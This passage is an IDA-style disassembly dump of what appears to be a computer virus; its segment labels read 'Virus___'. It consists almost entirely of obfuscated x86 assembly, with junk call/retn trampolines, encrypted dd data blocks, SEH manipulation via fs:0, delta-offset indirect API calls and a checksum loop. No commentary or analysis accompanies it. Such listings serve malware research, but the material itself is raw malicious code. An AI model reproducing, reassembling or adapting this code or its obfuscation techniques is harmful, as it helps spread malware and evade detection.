1Bh, 34C35040h, 0F4E831ADh, 0F92CDE40h, 2239858Dh dd 8166095Dh, 903108CBh, 5350F88Bh, 6E9h, 0F2D5EE00h, 5BF79888h dd 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 1DC80C42h, 0BD312745h, 95D0A4Dh, 7E9006Ah dd 95000000h, 3B3EFBB5h, 6A5753h, 1939BD8Bh, 858D095Dh dd 961433Dh, 14E9h, 7656E00h, 7EF6CD0Fh, 0C606C6E0h, 612B0D5Ch dd 80E62188h, 5C0833Bh, 11AD9501h, 8A50095Dh, 240489DCh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0D4C35141h dd 41789750h, 0AE9F0EBh, 99000000h, 0BDEFDD68h, 232FC9D0h dd 6A006A54h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 293DC350h, 5D194195h, 6A006A09h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 0E8B1C357h, 36BF6674h, 0FFDE8B70h, 5D085195h dd 0C3816609h, 8D8D1DEEh, 960914Ch, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 31C35242h, 5C48BEC9h, 6CFA22EFh dd 0FFFEBF0Fh, 51006AD1h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1404h, 0C3514100h, 71BD83B0h, 1095D09h, 6F850Fh dd 0BD8B0000h, 95D26DDh, 6A026Ah, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 0B3405BC3h, 0DE8B9002h dd 28D0F50h, 8B000000h, 6A90DEh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 77CE94C3h, 0CACFE8E2h dd 0AD8D8979h, 89095D22h, 5D058DB5h, 0C995FF09h, 29095D14h dd 5D2A0D85h, 0E50E909h, 0E80000h, 5D000000h, 4347ED81h dd 6A0961h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 80041DC3h, 12E9A9h, 0E9000000h, 0CD4F7FACh dd 0CF6957B6h, 0DA2D9145h, 0F506C799h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 5DC35646h, 3CB2D88h, 858D63C4h dd 9608AE2h, 0A08ADF81h, 0F903446h, 0C8Dh, 6890F00h, 0F000000h dd 88h, 0BABB5000h, 9004DD7Ch, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 80C35545h dd 18A06806h, 0A29CB46Dh, 0ED9D0B28h, 8A095D2Bh, 35FF64D8h dd 0 ; --------------------------------------------------------------------------- or bh, 0D2h mov large fs:0, esp push 0 push ebp call sub_5AEF45 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AEF45 proc near ; CODE XREF: Virus___:005AEF3Dp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_5AEF45 endp ; --------------------------------------------------------------------------- push eax sahf add eax, 512644D2h pusha movsx edx, si mov edx, [ebp+95D249Dh] popa pop ebx inc dword ptr [ebp+95D2169h] push 0 push ecx call sub_5AEF79 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AEF79 proc near ; CODE XREF: Virus___:005AEF71p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_5AEF79 endp ; --------------------------------------------------------------------------- pop ds sub dword ptr [ecx+6A397B64h], 0FFFFFFFFh movzx ebx, cx push dword ptr [ebp+95D1871h] push 0 push edi call sub_5AEFA5 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AEFA5 proc near ; CODE XREF: Virus___:005AEF9Dp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_5AEFA5 endp ; --------------------------------------------------------------------------- db 0F5h, 0DAh, 91h ; --------------------------------------------------------------------------- mov [ebp+95D1971h], edi mov [ebp+95D0785h], edi call dword ptr [ebp+95D0385h] jmp loc_5AF0F9 ; --------------------------------------------------------------------------- db 0BBh dd 6D71DB93h, 816600B0h, 0E6308CC7h, 0FD8D8970h, 0E4095D12h dd 9DB52971h, 3C095D02h, 6830F61h, 89000001h, 5D130D9Dh dd 0C8B60F09h, 1880Fh, 0BAF80000h, 6, 0FE8h, 799AEA00h dd 0F92DB6B3h, 0B95DA55Dh, 2E624A14h, 8B5BFA8Bh, 0C180B7C1h dd 8B6604E8h, 0E2F766FEh, 0E0D78166h, 0FC82B71h, 8Ah, 66D18B00h dd 66E7F781h, 0B4E9h, 458D8900h, 50095D1Fh, 0FE9h, 1C4CE500h dd 0EA1FE4ABh, 7D80185Dh, 0F4976CD2h, 45858B5Fh, 81095D19h dd 2084F0F7h, 7C08314h, 8344C780h, 12E900C0h, 2F000000h dd 0E09B0A27h, 9F39D93Dh, 81486926h, 9EBD657Ch, 0FD03B68h dd 1183h, 5FE900h, 8E0F0000h, 6, 4218D01h, 8D8B095Dh, 95D153Dh dd 10159D8Bh, 0E183095Dh, 3E840F01h, 0E9000000h, 0Fh, 0F354577Bh dd 95187898h, 7F960953h, 83371A09h, 5D153DA5h, 8E9FE09h dd 0F3000000h, 5E4074A9h, 89E4351Eh, 5D194595h, 6E909h dd 8C800000h, 19FBCED0h, 0E9h db 0 ; --------------------------------------------------------------------------- loc_5AF0F9: ; CODE XREF: Virus___:005AEFCAj lea esi, [ebp+960D2FFh] push 0 push esi call sub_5AF10A and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AF10A proc near ; CODE XREF: Virus___:005AF102p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_5AF10A endp ; --------------------------------------------------------------------------- dw 9C2Eh ; --------------------------------------------------------------------------- cld mov eax, ds:8B79765Ch mov ebp, 95D0751h push 0 push 0 push ebp call sub_5AF134 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AF134 proc near ; CODE XREF: Virus___:005AF12Cp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_5AF134 endp ; --------------------------------------------------------------------------- mov esp, 959582EFh dec esi ja short loc_5AF1AE fst dword ptr [eax] jmp loc_5AF162 ; --------------------------------------------------------------------------- db 0DAh dd 50C2BBF0h, 0CCACC8B5h, 5BB71547h ; --------------------------------------------------------------------------- mov dh, 65h loc_5AF162: ; CODE XREF: Virus___:005AF14Ej call dword ptr [ebp+95D11B1h] push 0 push esi call sub_5AF173 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AF173 proc near ; CODE XREF: Virus___:005AF16Bp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_5AF173 endp ; --------------------------------------------------------------------------- or eax, 88848EBFh or esp, [esi-75h] fidivr word ptr [ecx+8FEh] push 0 push edi call sub_5AF19C and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AF19C proc near ; CODE XREF: Virus___:005AF194p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_5AF19C endp ; --------------------------------------------------------------------------- db 9Fh, 31h ; --------------------------------------------------------------------------- loc_5AF1AE: ; CODE XREF: Virus___:005AF14Aj dec edx popf adc bh, bl lodsb jl loc_5AF1BF xor ebx, [ebp+95D241Dh] loc_5AF1BF: ; CODE XREF: Virus___:005AF1B3j mov [ebp+95D0AE5h], eax and ecx, 0FFFFFFFCh push 0 push edx call sub_5AF1D3 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AF1D3 proc near ; CODE XREF: Virus___:005AF1CBp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5AF1D3 endp ; --------------------------------------------------------------------------- and al, 0FEh aam 9Ah retn ; --------------------------------------------------------------------------- shr dword ptr [ebx+esi*4+6AFC3Ah], cl push esi call sub_5AF1F8 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AF1F8 proc near ; CODE XREF: Virus___:005AF1F0p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_5AF1F8 endp ; --------------------------------------------------------------------------- dd 0A6B36913h, 0E89B696Bh, 0Eh, 0EC9182D3h, 28D55C2Eh dd 4C8E83CEh, 5FF5FCFFh, 6AC02Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1C0424h, 51410000h, 0AF4421C3h, 0BA7BFE5h dd 12E918C7h, 1D000000h, 5829BEB8h, 4CDDDFC7h, 2A9AC574h dd 0B65E68C4h, 0ED8529A2h, 0BA095D2Bh, 0 ; --------------------------------------------------------------------------- push 0 push ebx call sub_5AF277 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AF277 proc near ; CODE XREF: Virus___:005AF26Fp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_5AF277 endp ; --------------------------------------------------------------------------- db 0EDh dd 7EE77D1Fh, 0F380F867h, 0C233AD0Ah, 0D003E8D1h, 7504E983h dd 2D9D33F4h, 0D095D03h, 88h, 0F1F1DF81h, 958B3DA1h, 95D0919h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0FC35545h dd 4C95E381h, 8D8B64C4h, 95D1349h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 0F3C35545h, 0B19D8B6Bh, 50095D27h dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 91AB758h dd 5D003595h, 20BB6609h, 69BD837Ch, 95D31h, 72840Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 3B37CCC3h, 0B86BFAh, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8DCFC351h dd 5D4D928Dh, 52006A09h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 0BBDB5F33h, 3D10AB71h, 9501E1FFh dd 95D2B75h, 15F9BD83h, 0F00095Dh, 43584h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 0F9BD8321h, 1095D15h, 427840Fh, 8C0F0000h, 6, 3A19589h dd 0BD83095Dh, 95D15F9h, 0D8860F03h, 6A000003h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 3FAFC355h, 81BC95F3h, 6A6068h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 0BFD5ADC3h, 1420F6D7h dd 14DDBD8Bh, 0CEBB095Dh, 66325B1Eh, 6AD98Ch, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 79CC5EC3h dd 0AFCE3CEDh, 0E1802BCFh, 0F8606004h, 4018D89h, 6061095Dh dd 8919D8Bh, 0BD8B095Dh, 95D139Dh, 0C90A6161h, 130840Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 8A851FC3h, 0FC4AC00h, 688h, 0B5B50900h, 8B095D23h dd 5D2C0D85h, 8E909h, 63880000h, 993E69D4h, 85334CA3h dd 95D2765h, 90EBC380h, 0DE950h, 95990000h, 93BF31DAh dd 0CAB4F3B0h, 90704D50h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 9CC35747h, 0D75D639Fh, 5241F204h, 890F56h dd 5F000000h, 0FB8B665Fh, 880Fh, 6A0000h, 27AD9509h, 9531095Dh dd 95D0391h, 0E3BFDC68h, 240481B1h, 4E3B4423h, 95FFDA8Bh dd 95D0FADh, 9758D29h, 8589095Dh, 960A564h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0DBC35242h, 677F5403h dd 79BD01A3h, 0E9095D31h, 12h, 1CDCDDEFh, 22B05C1Bh, 0D4106CA5h dd 0A1F99904h, 0F0E947B7h, 6A000001h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0EF62C356h dd 3BC4F88h, 89509247h, 5D0F1195h, 858B5F09h, 960A55Ch dd 24A59D09h, 0C7095Dh, 18h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 0BBC35242h, 89670699h, 5D14F58Dh dd 1BD8B09h, 8B095D06h, 60A560B5h, 0AE809h, 267A0000h dd 130FCD1Eh, 1C211EB2h, 518589h, 8B5B095Dh, 5D315185h dd 52006A09h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 800689A9h, 858B5AEBh, 95D2C0Dh, 96C78166h dd 99BD0360h, 89095D31h, 8C0F0446h, 17h, 0BE8h, 0A10AD500h dd 2E8F7BA2h, 0A997073Dh, 8B0Fh, 965F0000h, 14880Fh, 0FE90000h dd 0EB000000h, 0B00F54D3h, 43D28A3Fh, 86C5B89Ah, 60506449h dd 525098B3h, 6E8310Fh, 93000000h, 7C24E452h, 585A5ABEh dd 8D099661h, 95D32DDh, 0A55CB5FFh, 6A0960h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 6408A7C3h dd 90C59A8h, 0BD03B359h, 95D2B55h, 9F0C0A68h, 0F525012h dd 61605631h, 81585A5Bh, 0FF52434h, 10E81280h, 63000000h dd 8FBC7BF9h, 346C0959h, 0FE295C82h, 66A9DE07h, 5FE6EABBh dd 0A564858Dh, 6A0960h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 803D51C3h, 870F5090h, 10h, 0BE9h dd 7FBE9600h, 1497DA1h, 21359D21h, 53006A90h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 29392BA5h dd 58D0E6F1h, 0EE9h, 6CACE800h, 0E0B10E9h, 42CE39F6h, 0FF102D17h dd 5D0FAD95h, 61FA8B09h, 3C0B53BBh, 0F985C70Ah, 3095D15h dd 81000000h, 83D38CBh, 64BD8327h, 960A5h, 25840Fh, 9D8B0000h dd 95D25EDh, 35E9h, 8E800h, 0EE8A0000h, 0CD346D98h, 9D0B243Dh dd 95D1071h, 0C5BD335Fh, 50095D28h, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 8C8394C3h dd 3C6822C5h, 15F9BD83h, 0F03095Dh, 44585h, 0BE900h, 77AF0000h dd 0E6CE558Dh, 648B8A7h, 4BBF6660h, 64BD83BDh, 960A5h dd 424840Fh, 830F0000h, 4, 5F5F5157h, 0F45B529h, 0B5FF095Dh dd 960A564h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 7AC35141h, 0C79E822Eh, 0E80C4C75h, 0Ah, 87CC6CE1h dd 1DE8207Ah, 0E950EB25h, 0Ch, 86D39DDFh, 6435EBFh, 6DC0D779h dd 95FF5F5Bh, 95D0A41h, 11E9F9h, 0AA870000h, 0C78002FEh dd 0C57F02F7h, 60CB0C33h, 8BE6CABAh, 60A558B5h, 0E585BB09h dd 6C7433Dh, 10001h, 6B59BF66h, 0AE9h, 1BFA4B00h, 9EDEA242h dd 963C554Bh, 0E950DE8Bh, 6, 0FBC93409h, 2996C392h, 5D25DD85h dd 0F566009h, 80h, 0BD895900h, 95D15F5h, 64B5FF61h, 0B30960A5h dd 0F7816622h, 95FF070Eh, 95D05FDh, 6850F50h, 9000000h dd 5D12F59Dh, 0B58B5F09h, 960A558h, 4D858BF5h, 0B3095D30h dd 0C486893Ah, 8B000000h, 5D091995h, 50006A09h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 4325452Bh dd 85F0A417h, 6A04C283h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 15AC356h, 0A9DC784Ch dd 810CEC8Fh, 0C94C6AEBh, 0DEB70F17h, 0FC205089h, 0BBC1858Dh dd 6A0960h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 340EB9C3h, 2CD5C8D4h, 0F2B3C78h, 0B89h, 0B58B6000h dd 95D2645h, 6144EB80h, 0B88689h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 0C0BFE8C3h dd 9CDB589h, 8D29095Dh, 95D03B1h, 6A006Ah, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 3F69A7C3h dd 0FFDDA6CDh, 60A564B5h, 56006A09h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 54E442BDh dd 0BA5F4C6Eh, 9D31BBAFh, 95D050Dh, 1A91BD8Bh, 95FF095Dh dd 95D14C9h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 1DC35040h dd 6F6A3657h, 711C1213h, 0F525050h, 5AD98B31h, 24348958h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 3CC35747h dd 0B5FF8DC3h, 960A564h, 735BD8Bh, 95FF095Dh, 95D137Dh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0EFC35747h dd 0D1BD831Dh, 95D19h, 33840Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 6FBB3BC3h dd 14F5CC9Ah, 0BF0FEF66h, 665096D8h, 8B96F98Bh, 5D1981BDh dd 64B5FF09h, 6A0960A5h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 0F158C351h, 1999BD2Bh dd 9D29095Dh, 95D22B9h, 2F9595FFh, 6A095Dh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0B5FF9FC3h dd 960A564h, 9E9h, 6F419400h, 0BCB95C0h, 95FFF67Bh, 95D1795h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 16C35545h dd 0FB8B0C73h, 49BD0924h, 0BB095D00h, 7004517h, 0B11BD83h dd 0F02095Dh, 7484h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 8B568812h, 5D318D9Dh dd 9D8B5B09h, 95D2175h, 2215858Bh, 6A095Dh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0C1FC3CC3h dd 0CE9D0h, 1F3E0000h, 0A39A3484h, 0C2D7DB87h, 0BD23CED4h dd 95D286Dh, 2830F52h, 60000000h, 0C65B61h, 4585C700h dd 95D05h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 711BC356h, 85B8F381h, 0E9060Ah dd 8BFFFFF3h, 5D2B199Dh, 6AC18B09h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0AFCFC357h dd 0CA892D06h, 9349DF13h, 0C55BD89h, 858D095Dh, 95D2239h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0C35545h dd 0FB368BFh, 38Eh, 2ED78000h, 4D99D03h, 0E990095Dh, 10h dd 6B7FA85Ah, 199D1D10h, 76AE3916h, 0A19832CBh, 8943BF50h dd 8B901170h, 5D088D9Dh, 6A006A09h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0F84EC353h dd 8D89006Ah, 95D0031h, 535F858Dh, 83F90961h, 958905C0h dd 95D2115h, 50DE8B90h, 0DE890h, 78820000h, 291C2A02h dd 1F23A8BEh, 66B8C213h, 0D2A6CB81h, 6A006A5Bh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 0F5D9C355h, 0D6B92FFFh, 6AFA8B66h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 2CEF99Ch, 42D42630h, 8166FED5h, 0FF0CD1DFh, 5D085195h dd 52006A09h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 6505C374h, 6AEF80ACh, 914C8D8Dh, 9D010960h dd 95D1F55h, 9D8BD1FFh, 95D0905h, 971BD83h, 0F01095Dh dd 8685h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1704h, 0C3554500h, 362662D2h, 1858960h, 0F5095D11h dd 0ED9D8B61h, 6A095D06h, 260BF02h, 609047AAh, 0BB53FA8Ah dd 1DB1731h, 6650615Eh, 6A90D88Bh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 1145C355h dd 59CAAF63h, 8B66E17Eh, 7E9DAh, 0ED2D0000h, 8A03D168h dd 0C995FFBEh, 57095D14h, 32198D89h, 0E95B095Dh, 0E8Fh dd 0E8h, 0ED815D00h, 9615369h, 88C0Fh, 80600000h, 0BF0F1CDAh dd 1B361D9h, 8AE2858Dh, 0B70F0960h, 6E890DAh, 5000000h dd 360A387Bh, 22B86067h, 667AA1BDh, 615EFBBEh, 6660505Bh dd 60C91FBFh, 310F5250h, 0CC8A585Ah, 89906161h, 5D04A98Dh dd 35FF6409h, 0 ; --------------------------------------------------------------------------- clc mov large fs:0, esp push 0 push eax call sub_5AFF03 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AFF03 proc near ; CODE XREF: Virus___:005AFEFBp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_5AFF03 endp ; --------------------------------------------------------------------------- push 20h js short loc_5AFF67 retf ; --------------------------------------------------------------------------- dd 0E5702604h, 37BB66DAh, 6985FF9Bh, 6A095D21h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 9CC5C357h, 0FC907BDDh, 0D0F78166h, 6AFF6A27h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h db 3 dup(0) ; --------------------------------------------------------------------------- loc_5AFF67: ; CODE XREF: Virus___:005AFF15j inc esi push esi retn ; --------------------------------------------------------------------------- mov eax, 4B9000FEh idiv edi mov ch, 0Dh and ebx, [ebp+9] cld call dword ptr [ebp+95D0385h] jmp loc_5B0098 ; --------------------------------------------------------------------------- dw 0F60h dd 685h, 71958900h, 0B6095D1Fh, 0BD296128h, 95D0CB1h, 800F00B0h dd 0 dd 9E970E6h, 94000000h, 6BD31081h, 0E110DFE4h, 9D8B71E4h dd 95D2751h, 830F613Ch, 0D8h, 5FD98B53h, 0BAC8B60Fh, 6 dd 1A8D0Fh, 0EE80000h, 0E4000000h, 765565h, 0E53097D8h dd 7946CA9Ah, 0A1BD8B97h, 5F095D03h, 0B589C18Bh, 95D2901h dd 0B04E8C1h, 5D329DBDh, 0E2F76609h, 9D8BC82Bh, 95D26DDh dd 8166D18Bh, 0E91B91E3h, 84h, 47E472BFh, 858BF850h, 95D0B75h dd 15FDBD03h, 0C083095Dh, 3A52BB07h, 9D8B65EEh, 95D2AA5h dd 0BF00C083h, 53121961h, 3BFFB70Fh, 0C830FD0h, 0F5000000h dd 4BE9h, 0F9BD8B00h, 8B095D28h, 5D14A58Dh, 0DE909h, 0F0FE0000h dd 0BFAF7E5Fh, 0FE5BFF01h, 83743141h, 840F01E1h, 24h, 27B9BD09h dd 0A583095Dh, 95D14A5h, 39BD8BFEh, 89095D15h, 5D0B7595h dd 0D5BD8909h, 0E9095D18h, 0 ; --------------------------------------------------------------------------- loc_5B0098: ; CODE XREF: Virus___:005AFF7Dj lea esi, [ebp+960DDF8h] push 0 push edi call sub_5B00A9 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B00A9 proc near ; CODE XREF: Virus___:005B00A1p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_5B00A9 endp ; --------------------------------------------------------------------------- db 0E4h, 0FEh, 94h ; --------------------------------------------------------------------------- jle loc_5B00D0 pusha mov edx, [ebp+95D070Dh] mov [ebp+95D0C79h], eax popa loc_5B00D0: ; CODE XREF: Virus___:005B00BCj push 0 push eax pop edi mov bx, dx call dword ptr [ebp+95D11B1h] push 0 push edi call sub_5B00E8 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B00E8 proc near ; CODE XREF: Virus___:005B00E0p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_5B00E8 endp ; --------------------------------------------------------------------------- dd 0B10CE1A5h, 9B5B9h, 0FA8B300h, 0E183DBB7h, 6840FFCh dd 31000000h, 5D189D9Dh, 6AFC09h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 8B2053C3h, 12E8h, 0C193FE00h dd 574B303Dh, 4CA8C124h, 43F36D51h, 29C4CD45h, 5D314D95h dd 0B70F5F09h, 6AC02BF8h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 6D0EC353h, 27042A5Ah dd 14E9C9h, 0D9780000h, 9943272Eh, 2D9DC93Eh, 118E2ECEh dd 0AD38E476h, 0BAF990ADh, 0 ; --------------------------------------------------------------------------- js loc_5B01B2 jmp loc_5B01B2 ; --------------------------------------------------------------------------- push 0FFFFFFBBh sbb al, 0C8h or eax, 8A7F013Fh adc cl, ds:0B7547B11h loc_5B01B2: ; CODE XREF: Virus___:005B0198j ; Virus___:005B019Ej ... lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_5B01B2 push 0 push esi call sub_5B01C9 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B01C9 proc near ; CODE XREF: Virus___:005B01C1p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_5B01C9 endp ; --------------------------------------------------------------------------- rcr byte ptr [ecx+6ABBC3FDh], 1 cmp ch, dh sub [ecx+5D21DDB5h], ecx or [ebx+5D2F8DBDh], ecx or large ds:88h, ecx jmp loc_5B0209 ; --------------------------------------------------------------------------- dd 0F76AAEE5h, 3ED6BEAFh, 81564868h, 76340042h db 1 ; --------------------------------------------------------------------------- loc_5B0209: ; CODE XREF: Virus___:005B01F3j mov edx, [ebp+95D0919h] push 0 push ebx call sub_5B021A and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B021A proc near ; CODE XREF: Virus___:005B0212p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_5B021A endp ; --------------------------------------------------------------------------- dw 65E1h ; --------------------------------------------------------------------------- ror byte ptr [ebx+5D13498Dh], 9 push 0 push edx call sub_5B023E and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B023E proc near ; CODE XREF: Virus___:005B0236p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_5B023E endp ; --------------------------------------------------------------------------- dw 5093h dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 9E858h dd 0CF40000h, 413722DAh, 0E85AFA28h, 7, 721CA512h, 660E6D7Ah dd 5F6042BBh, 758D295Bh, 83095D2Bh, 5D3169BDh, 840F0009h dd 56h, 0B8F98B66h, 0 ; --------------------------------------------------------------------------- mov edi, edx lea ecx, [ebp+95D4D92h] push 0 push eax call sub_5B02AF and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B02AF proc near ; CODE XREF: Virus___:005B02A7p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_5B02AF endp ; --------------------------------------------------------------------------- db 0F3h ; --------------------------------------------------------------------------- xchg eax, esp mov dl, 2Dh dec ebp imul edi, -1Fh push 0 push edi call sub_5B02D3 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B02D3 proc near ; CODE XREF: Virus___:005B02CBp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_5B02D3 endp ; --------------------------------------------------------------------------- mov ah, 9 popf jns short loc_5B0319 pop ebp or [ebx+5D15F9BDh], eax or [eax], eax jz loc_5B07E3 push 0 push ebp call sub_5B0302 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B0302 proc near ; CODE XREF: Virus___:005B02FAp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_5B0302 endp ; --------------------------------------------------------------------------- mov esp, [esi] or eax, 0B13ED15Dh loc_5B0319: ; CODE XREF: Virus___:005B02E6j add al, 0A4h dec edi mov bx, 5D8Bh cmp dword ptr [ebp+95D15F9h], 1 jz loc_5B07FE jmp loc_5B0344 ; --------------------------------------------------------------------------- dw 57ABh dd 0F4927204h, 30309C82h, 0A85E02E4h, 0C2A6E843h ; --------------------------------------------------------------------------- loc_5B0344: ; CODE XREF: Virus___:005B032Dj 